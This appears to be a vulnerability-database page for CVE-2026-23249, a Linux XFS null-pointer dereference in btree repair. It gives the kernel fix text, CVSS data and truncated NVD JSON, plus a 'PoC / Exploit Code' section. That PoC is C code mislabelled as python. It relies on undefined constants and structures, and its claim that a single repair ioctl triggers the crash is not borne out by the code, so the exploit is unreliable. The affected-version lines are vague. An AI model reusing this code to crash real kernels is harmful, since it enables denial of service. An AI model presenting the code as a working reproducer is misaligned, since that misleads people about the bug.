Security Vulnerability Report
中文
CVE-2026-23249 CVSS 5.5 MEDIUM

CVE-2026-23249

Published: 2026-03-18 18:16:23
Last Modified: 2026-05-21 18:34:07
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xfs: check for deleted cursors when revalidating two btrees The free space and inode btree repair functions will rebuild both btrees at the same time, after which it needs to evaluate both btrees to confirm that the corruptions are gone. However, Jiaming Zhang ran syzbot and produced a crash in the second xchk_allocbt call. His root-cause analysis is as follows (with minor corrections): In xrep_revalidate_allocbt(), xchk_allocbt() is called twice (first for BNOBT, second for CNTBT). The cause of this issue is that the first call nullified the cursor required by the second call. Let's first enter xrep_revalidate_allocbt() via following call chain: xfs_file_ioctl() -> xfs_ioc_scrubv_metadata() -> xfs_scrub_metadata() -> `sc->ops->repair_eval(sc)` -> xrep_revalidate_allocbt() xchk_allocbt() is called twice in this function. In the first call: /* Note that sc->sm->sm_type is XFS_SCRUB_TYPE_BNOPT now */ xchk_allocbt() -> xchk_btree() -> `bs->scrub_rec(bs, recp)` -> xchk_allocbt_rec() -> xchk_allocbt_xref() -> xchk_allocbt_xref_other() since sm_type is XFS_SCRUB_TYPE_BNOBT, pur is set to &sc->sa.cnt_cur. Kernel called xfs_alloc_get_rec() and returned -EFSCORRUPTED. Call chain: xfs_alloc_get_rec() -> xfs_btree_get_rec() -> xfs_btree_check_block() -> (XFS_IS_CORRUPT || XFS_TEST_ERROR), the former is false and the latter is true, return -EFSCORRUPTED. This should be caused by ioctl$XFS_IOC_ERROR_INJECTION I guess. Back to xchk_allocbt_xref_other(), after receiving -EFSCORRUPTED from xfs_alloc_get_rec(), kernel called xchk_should_check_xref(). In this function, *curpp (points to sc->sa.cnt_cur) is nullified. Back to xrep_revalidate_allocbt(), since sc->sa.cnt_cur has been nullified, it then triggered null-ptr-deref via xchk_allocbt() (second call) -> xchk_btree(). So. The bnobt revalidation failed on a cross-reference attempt, so we deleted the cntbt cursor, and then crashed when we tried to revalidate the cntbt. Therefore, check for a null cntbt cursor before that revalidation, and mark the repair incomplete. Also we can ignore the second tree entirely if the first tree was rebuilt but is already corrupt. Apply the same fix to xrep_revalidate_iallocbt because it has the same problem.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux kernel < 5.15.x (具体版本需查看内核稳定版补丁)
Linux kernel < 6.1.x
Linux kernel < 6.6.x
所有启用XFS文件系统的Linux内核版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2026-23249 PoC - XFS btree repair null pointer dereference * This PoC demonstrates triggering the vulnerability through filesystem corruption * Note: Requires root privileges and XFS filesystem */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <errno.h> #include <sys/ioctl.h> #include <linux/fs.h> /* XFS specific ioctl structures would be defined here */ #define XFS_IOC_SCRUB_METADATA _IOWR('X', 124, struct xfs_scrub_metadata) #define XFS_SCRUB_TYPE_BNOBT 2 #define XFS_SCRUB_TYPE_CNTBT 3 int main(int argc, char *argv[]) { int fd; struct xfs_scrub_metadata meta = {0}; if (argc < 2) { fprintf(stderr, "Usage: %s <xfs_mount_point>\n", argv[0]); return 1; } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("Failed to open device"); return 1; } /* Set up scrub metadata structure for BNOBT repair */ meta.sm_type = XFS_SCRUB_TYPE_BNOBT; meta.sm_flags = XFS_SCRUB_FLAG_REPAIR; /* Trigger the vulnerability by calling scrub with repair flag */ /* This will cause the first xchk_allocbt call to nullify cnt_cur */ if (ioctl(fd, XFS_IOC_SCRUB_METADATA, &meta) < 0) { perror("Scrub ioctl failed"); } close(fd); return 0; } /* Alternative trigger method using error injection: */ /* ioctl(fd, XFS_IOC_ERROR_INJECTION, XFS_ERR_DEFAULT); */ /* Then trigger metadata scrub to cause the crash */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23249", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T18:16:22.787", "lastModified": "2026-05-21T18:34:07.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: check for deleted cursors when revalidating two btrees\n\nThe free space and inode btree repair functions will rebuild both btrees\nat the same time, after which it needs to evaluate both btrees to\nconfirm that the corruptions are gone.\n\nHowever, Jiaming Zhang ran syzbot and produced a crash in the second\nxchk_allocbt call. His root-cause analysis is as follows (with minor\ncorrections):\n\n In xrep_revalidate_allocbt(), xchk_allocbt() is called twice (first\n for BNOBT, second for CNTBT). The cause of this issue is that the\n first call nullified the cursor required by the second call.\n\n Let's first enter xrep_revalidate_allocbt() via following call chain:\n\n xfs_file_ioctl() ->\n xfs_ioc_scrubv_metadata() ->\n xfs_scrub_metadata() ->\n `sc->ops->repair_eval(sc)` ->\n xrep_revalidate_allocbt()\n\n xchk_allocbt() is called twice in this function. In the first call:\n\n /* Note that sc->sm->sm_type is XFS_SCRUB_TYPE_BNOPT now */\n xchk_allocbt() ->\n xchk_btree() ->\n `bs->scrub_rec(bs, recp)` ->\n xchk_allocbt_rec() ->\n xchk_allocbt_xref() ->\n xchk_allocbt_xref_other()\n\n since sm_type is XFS_SCRUB_TYPE_BNOBT, pur is set to &sc->sa.cnt_cur.\n Kernel called xfs_alloc_get_rec() and returned -EFSCORRUPTED. Call\n chain:\n\n xfs_alloc_get_rec() ->\n xfs_btree_get_rec() ->\n xfs_btree_check_block() ->\n (XFS_IS_CORRUPT || XFS_TEST_ERROR), the former is false and the latter\n is true, return -EFSCORRUPTED. This should be caused by\n ioctl$XFS_IOC_ERROR_INJECTION I guess.\n\n Back to xchk_allocbt_xref_other(), after receiving -EFSCORRUPTED from\n xfs_alloc_get_rec(), kernel called xchk_should_check_xref(). In this\n function, *curpp (points to sc->sa.cnt_cur) is nullified.\n\n Back to xrep_revalidate_allocbt(), since sc->sa.cnt_cur has been\n nullified, it then triggered null-ptr-deref via xchk_allocbt() (second\n call) -> xchk_btree().\n\nSo. The bnobt revalidation failed on a cross-reference attempt, so we\ndeleted the cntbt cursor, and then crashed when we tried to revalidate\nthe cntbt. Therefore, check for a null cntbt cursor before that\nrevalidation, and mark the repair incomplete. Also we can ignore the\nsecond tree entirely if the first tree was rebuilt but is already\ncorrupt.\n\nApply the same fix to xrep_revalidate_iallocbt because it has the same\nproblem."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nxfs: verificar cursores eliminados al revalidar dos btrees\n\nLas funciones de reparación de btree de espacio libre e inodo reconstruirán ambos btrees al mismo tiempo, después de lo cual necesita evaluar ambos btrees para confirmar que las corrupciones han desaparecido.\n\nSin embargo, Jiaming Zhang ejecutó syzbot y produjo un fallo en la segunda llamada a xchk_allocbt. Su análisis de causa raíz es el siguiente (con correcciones menores):\n\nEn xrep_revalidate_allocbt(), se llama a xchk_allocbt() dos veces (primero para BNOBT, segundo para CNTBT). La causa de este problema es que la primera llamada anuló el cursor requerido por la segunda llamada.\n\nPrimero entremos en xrep_revalidate_allocbt() a través de la siguiente cadena de llamadas:\n\nxfs_file_ioctl() -&gt;\nxfs_ioc_scrubv_metadata() -&gt;\nxfs_scrub_metadata() -&gt;\n'sc-&gt;ops-&gt;repair_eval(sc)' -&gt;\nxrep_revalidate_allocbt()\n\nSe llama a xchk_allocbt() dos veces en esta función. En la primera llamada:\n\n/* Tenga en cuenta que sc-&gt;sm-&gt;sm_type es XFS_SCRUB_TYPE_BNOPT ahora */\nxchk_allocbt() -&gt;\nxchk_btree() -&gt;\n'bs-&gt;scrub_rec(bs, recp)' -&gt;\nxchk_allocbt_rec() -&gt;\nxchk_allocbt_xref() -&gt;\nxchk_allocbt_xref_other()\n\ndado que sm_type es XFS_SCRUB_TYPE_BNOBT, pur se establece en &amp;sc-&gt;sa.cnt_cur. El kernel llamó a xfs_alloc_get_rec() y devolvió -EFSCORRUPTED. Cadena de llamadas:\n\nxfs_alloc_get_rec() -&gt;\nxfs_btree_get_rec() -&gt;\nxfs_btree_check_block() -&gt;\n(XFS_IS_CORRUPT || XFS_TEST_ERROR), el primero es falso y el segundo es verdadero, devuelve -EFSCORRUPTED. Esto debería ser causado por ioctl$XFS_IOC_ERROR_INJECTION, supongo.\n\nVolviendo a xchk_allocbt_xref_other(), después de recibir -EFSCORRUPTED de xfs_alloc_get_rec(), el kernel llamó a xchk_should_check_xref(). En esta función, *curpp (que apunta a sc-&gt;sa.cnt_cur) es anulado.\n\nVolviendo a xrep_revalidate_allocbt(), dado que sc-&gt;sa.cnt_cur ha sido anulado, entonces activó una desreferencia de puntero nulo a través de xchk_allocbt() (segunda llamada) -&gt; xchk_btree().\n\nAsí que. La revalidación de bnobt falló en un intento de referencia cruzada, por lo que eliminamos el cursor cntbt, y luego fallamos cuando intentamos revalidar el cntbt. Po ... (truncated)